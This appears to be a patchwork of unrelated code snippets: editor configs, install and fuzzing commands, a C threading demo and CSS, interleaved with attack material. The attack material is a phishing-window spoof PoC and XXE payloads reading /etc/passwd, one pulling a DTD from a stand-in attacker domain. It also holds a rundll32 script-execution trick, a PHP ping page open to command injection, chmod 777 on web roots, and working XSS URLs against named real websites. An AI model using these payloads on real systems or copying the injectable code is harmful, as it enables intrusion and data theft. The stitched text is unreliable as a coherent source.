<script>
function spoof() {
        nWindow = window.open('https:/www.google.com', '_t1');
        nWindow.document.write('<pre>Here we could place a phising login panel</pre>');
}
</script>
<input type="button" onclick="spoof()" value="PoC!">
The page is being hosted in my server

apt-get install mysql-server

apt-get install git

hg clone -u default https://code.google.com/p/go $HOME/go
cd ~/go/src/
./all.bash

export PATH=$PATH:$HOME/go/bin

source .bashrc

create database gogs;

nohup ./gogs web &

export CC=afl-gcc
export CXX=afl-g++
./configure --disable-shared

make clean
make

./tools/bmp2tiff

afl-cmin -i input -o input_final -- /rutabiblioteca/bmp2tiff @@ /dev/null 

afl-fuzz -i input_final -o output -- /rutabiblioteca/bmp2tiff @@ /dev/null 

afl-fuzz -i output/crashes/ -o output_final -C /rutabiblioteca/bmp2tiff @@ /dev/null

<forgot><username>admin</username></forgot>

POST /forgotpw HTTP/1.1
Host: testhtml5.vulnweb.com
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0
Accept: text/plain, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: text/xml; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://PAGINAVULNERABLE.COM
Content-Length: 43
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

<?xml version="1.0" encoding="utf-8"?>
 <!DOCTYPE etiqueta [  
  <!ELEMENT etiqueta ANY >
  <!ENTITY entidad SYSTEM "file:///etc/passwd" >]><etiqueta>&entidad;</etiqueta>

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE Header [ <!ENTITY valor SYSTEM "///etc/passwd"> ]>
<reset><login>&valor;</login><secret>Any bugs?</secret></reset>

<!ENTITY % three SYSTEM "file:///etc/passwd">
<!ENTITY % two "<!ENTITY % four SYSTEM 'file:///"%three;"'>">

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [  
  <!ENTITY % one SYSTEM "http://DOMINIO-ATACANTE.COM/dtd-part" >
  %one;
  %two;
  %four;
]>
 

{
        "font_face": "Source Code Pro",
	"font_size": 11
}

{
	"bold_folder_labels": true,
	"color_scheme": "Packages/Theme - Brogrammer/brogrammer.tmTheme",
	"draw_indent_guides": true,
	"caret_style": "phase",
//	"draw_white_space": "all", // dibuja una línea en los espacios en blanco previos a texto
	"show_encoding": true,
    "reveal-on-activate": true,
    "wide_caret": true,

	"font_face": "Source Code Pro",
	"font_size": 11,
	"ensure_newline_at_eof_on_save": true, // añade una línea al final de todos los archivos
	"draw_minimap_border": true, // marca en el mapa de texto la sección visualizada
	"highlight_line": true, // resalta la línea en la que está el cursor
	"ignored_packages":
	[
		"Vintage"
	],
	"trim_trailing_white_space_on_save": true
}

{
	"auto_complete_commit_on_tab": true,
	"bold_folder_labels": true,
	"color_scheme": "Packages/Color Scheme - Default/Twilight.tmTheme",
	"ensure_newline_at_eof_on_save": true,
	"file_exclude_patterns":
	[
		".DS_Store",
		".tags*",
		"*.pyc",
		"*.pyo",
		"*.exe",
		"*.dll",
		"*.obj",
		"*.o",
		"*.a",
		"*.lib",
		"*.log",
		"*.so",
		"*.dylib",
		"*.ncb",
		"*.sdf",
		"*.suo",
		"*.pdb",
		"*.idb",
		"*.class",
		"*.psd",
		"*.db",
		"*.pdf"
	],
	"folder_exclude_patterns":
	[
		"data",
		".zeus.sock",
		".git",
		".svn",
		".hg",
		"CVS",
		".sass-cache",
		".bundle",
		"bundle",
		".rbx",
		"script",
		"tmp"
	],
	"font_face": "Inconsolata-dz",
	"font_size": 21.0,
	"highlight_line": true,
	"highlight_modified_tabs": true,
	"ignored_packages":
	[
		"Vintage"
	],
	"line_padding_bottom": 0.5,
	"line_padding_top": 0.5,
	"new_window_settings":
	{
		"show_minimap": false
	},
	"rulers":
	[
		80
	],
	"save_on_focus_lost": true,
	"tab_size": 2,
	"theme": "Soda Light.sublime-theme",
	"translate_tabs_to_spaces": true,
	"trim_trailing_white_space_on_save": true
}

{
    "auto_complete_triggers":
    [
        {
            "characters": "<",
            "selector": "text.html"
        },
        {
            "characters": "/",
            "selector": "string.quoted.double.html,string.quoted.single.html, source.css"
        }
    ],
    "color_scheme": "Packages/theme brogrammer/brogrammer.tmTheme",
    "font_size": 13,
    "ignored_packages":
    [
        "Python 3",
        "Vintage",
        "Better CoffeeScript"
    ],
    "file_exclude_patterns":
    [
        ".DS_Store",
        "*.lib",
        "*.log"
    ],
    "folder_exclude_patterns":
    [
        ".git",
        ".bundle",
        ".sass-cache",
        ".svn",
        ".hg"
    ],
    "reveal-on-activate": true,
    "show_encoding": true,
    "tab_size": 4,
    "translate_spaces_to_tabs": true,
    "highlight_line": true,
    "highlight_modified_tabs": true,
    "scroll_past_end": true,
    "scroll_speed": 2,
    "close_windows_when_empty": true,
    "use_simple_full_screen": true,
    "wide_caret": true,
    "word_wrap": true,
    "show_full_path": true,
    "remember_open_files": true,
    "remember_open_folders": true,
    "match_brackets": true,
    "match_brackets_angle": true,
    "match_brackets_braces": true,
    "match_brackets_content": true,
    "match_brackets_square": true,
    "draw_indent_guides": true,
    "draw_white_space": "selection",
    "bold_folder_labels": true
}

{
	"bold_folder_labels": true,
	"color_scheme": "Packages/Tomorrow Night Color Scheme/Tomorrow-Night-Eighties.tmTheme",
	"detect_indentation": false,
	"draw_minimap_border": true,
	"draw_white_space": "all",
	"ensure_newline_at_eof_on_save": true,
	"fade_fold_buttons": false,
	"find_selected_text": true,
	"font_face": "Inconsolata",
	"font_size": 16.0,
	"highlight_line": true,
	"ignored_packages":
	[
		"Vintage"
	],
	"line_padding_bottom": 1,
	"line_padding_top": 1,
	"margin": -1,
	"open_files_in_new_window": false,
	"rulers":
	[
		120
	],
	"shift_tab_unindent": true,
	"tab_size": 4,
	"theme": "Soda Dark.sublime-theme",
	"trim_trailing_white_space_on_save": true,
	"word_separators": "./\\()\"'-:,.;<>~!@#$%^&*|+=[]{}`~?_",
	"word_wrap": true,
	"wrap_width": 120
}

<?php
if ("0" == "0e830400451993494058024219903391") {
	echo "fuck";
}
?>

/*
*	Autor: Jimeno
*	Uso de threads en C.
*      Compilar: clear && gcc -Wall -Wextra -o a.out -O4 -pthread example.c && ./a.out
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <pthread.h>
#include <sys/types.h>

#define THREADS 	2
#define MAX 	  1000000

struct tdata {
	int tid;
};

unsigned long counter = 0;

void *go(void *pointer) {
	unsigned long i;
	unsigned long max = MAX/THREADS;
	int tid = ((struct tdata *)pointer)->tid;
	for (i = 0; i < max; i++) {
		counter += 1;
	}
	printf("Counter number %d - value: %lu\n", tid, counter);
	pthread_exit(NULL);
        return NULL;
}

int main(void) {
	int creator, i;
	pthread_t threads[THREADS];
	struct tdata id[THREADS];

	for (i = 0; i < THREADS; i++) {
		id[i].tid = i;
		creator = pthread_create(&threads[i], NULL, go, (void *)&id[i]);
		if (creator != 0) {
			printf("ERROR creating thread number %d\n", i);
			exit(-1);
		}
		printf("\n");
	}
	for (i = 0; i < THREADS; i++) {
		pthread_join(threads[i], NULL);
		usleep(1);
		printf("main is running...\n");
	}

	printf("\nFinal value: %lu\nExpected value: %d\n", counter, MAX);
	return 0;
}

#include <stdio.h>
#define MOV 13
char encode(char c){
	if(c >= 'A' && c <= 'Z' || c>= 'a' && c <= 'z'){
		if(c < 'A'){
			return c;
		}
		else if(c < 'A' + MOV){
			c += MOV;
		}
		else if(c <= 'Z'){
			c -= MOV;
		}
		else if(c < 'a' + MOV){
			c += MOV;
		}
		else if(c >= 'a' + MOV){
			c -= MOV;
			return c;
		}
	}
	else{
		return c;
	}

}
main(){
printf("Introduce texto y pulsa ENTER para cifrarlo:\n");
  int c; 
  while((c = getchar()) != EOF){
    c = encode(c);
    putchar(c);
  }
}

sudo apt-get update
 
sudo apt-get upgrade

aptitude show apt

rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";alert("Jimeno")

rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write("\74script language=javascript>"+(new%20ActiveXObject("WScript.Shell")).Run("calc.exe")+"\74/script>")

<?php

//By Jimeno y Blackdrake

$objetivo = $_GET['ip'];

// Verificamos S.O...
 if (stristr(php_uname('s'), 'Windows NT')) {  
       $cmd = shell_exec( 'ping  ' . $objetivo );
       echo '<pre>'.$cmd.'</pre>';    
   }
 else {  
       $cmd = shell_exec( 'ping  -c 3 ' . $objetivo );
       echo '<pre>'.$cmd.'</pre>';    
   }
?>

man curl

curl -S sitioacortado -LI

curl -S http://tinyurl.com/qymjkjh -LI

curl -S http://tinyurl.com/qymjkjh -LI | grep Location

jimeno@jimeno--Notebook ~ $ curl -S http://tinyurl.com/qymjkjh -LI | grep Location
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0
  0 44804    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0
Location: http://www.sainsburysebooks.co.uk/author/Nick+Oldham/2081476

<button type="button" name="" value="" class="css3button">submit</button>

button.css3button {
	font-family: Arial, Helvetica, sans-serif;
	font-size: 14px;
	color: #ffffff;
	padding: 10px 20px;
	background: -moz-linear-gradient(
		top,
		#17998e 0%,
		#e8e864);
	background: -webkit-gradient(
		linear, left top, left bottom, 
		from(#17998e),
		to(#e8e864));
	-moz-border-radius: 0px;
	-webkit-border-radius: 0px;
	border-radius: 0px;
	border: 1px solid #7d0000;
	-moz-box-shadow:
		0px 1px 3px rgba(000,000,000,0.5),
		inset 0px 0px 2px rgba(255,255,255,0.7);
	-webkit-box-shadow:
		0px 1px 3px rgba(000,000,000,0.5),
		inset 0px 0px 2px rgba(255,255,255,0.7);
	box-shadow:
		0px 1px 3px rgba(000,000,000,0.5),
		inset 0px 0px 2px rgba(255,255,255,0.7);
	text-shadow:
		0px -1px 0px rgba(000,000,000,0.4),
		0px 1px 0px rgba(255,255,255,0.3);
}

"/><svg/onload=confirm(/Jimeno/.source);>

http://buscar.hispavista.com/?q=%22%2F%3E%3Csvg%2Fonload%3Dconfirm%280%29%3B%3E
http://buscar.hispavista.com/?q=%22%22%3B%3C%2Fscript%3E%3Cscript%3Ealert%280%29%3C%2Fscript%3E%3C%22&str=%22%22%3B%3C%2Fscript%3E%3Cscript%3Ealert%280%29%3C%2Fscript%3E%3C%22&cadena=%22%22%3B%3C%2Fscript%3E%3Cscript%3Ealert%280%29%3C%2Fscript%3E%3C%22
labolsa.com/buscador/?cadenaBusqueda=""%3B<%2Fscript><script>alert(0)<%2Fscript><"&buscar=Buscar
http://turismo.hispavista.com/buscar/?q=%22%22%3B%3C%2Fscript%3E%3Cscript%3Ealert%280%29%3C%2Fscript%3E%3C%22&Submit=Buscar+en+Turismo&cadena=%22%22%3B%3C%2Fscript%3E%3Cscript%3Ealert%280%29%3C%2Fscript%3E%3C%22&str=%22%22%3B%3C%2Fscript%3E%3Cscript%3Ealert%280%29%3C%2Fscript%3E%3C%22
http://paginasamarillas.hispavista.com/index.phtml?cadena=%22%22%3B%3C%2Fscript%3E%3Cscript%3Ealert%280%29%3C%2Fscript%3E%3C%22&Submit=Buscar+en+P%E1g.+amarillas&oculto=SPAIN&str=%22%22%3B%3C%2Fscript%3E%3Cscript%3Ealert%280%29%3C%2Fscript%3E%3C%22
http://buscar.hispavista.com/?q=%3CBODY+ONLOAD%3Dalert%28%27XSS%27%29%3E&Submit=Buscar

chmod 777 /opt/lampp
chmod 777 /var/www

solucion1 = raw_input ('Cuanto es 3+3 >> Responde aqui: ')
print 'Tu solucion es: '
print solucion1
if solucion1 != 6 :
   print 'CORRECTO'
else:
   print 'Has fallado, Zopenco'

solucion1 = raw_input ('Cuanto es 3+3 >> Responde aqui: ')
print 'Tu solucion es: '
print solucion1
if solucion1 == 6 :
   print 'CORRECTO'
else:
   print 'Has fallado, Zopenco'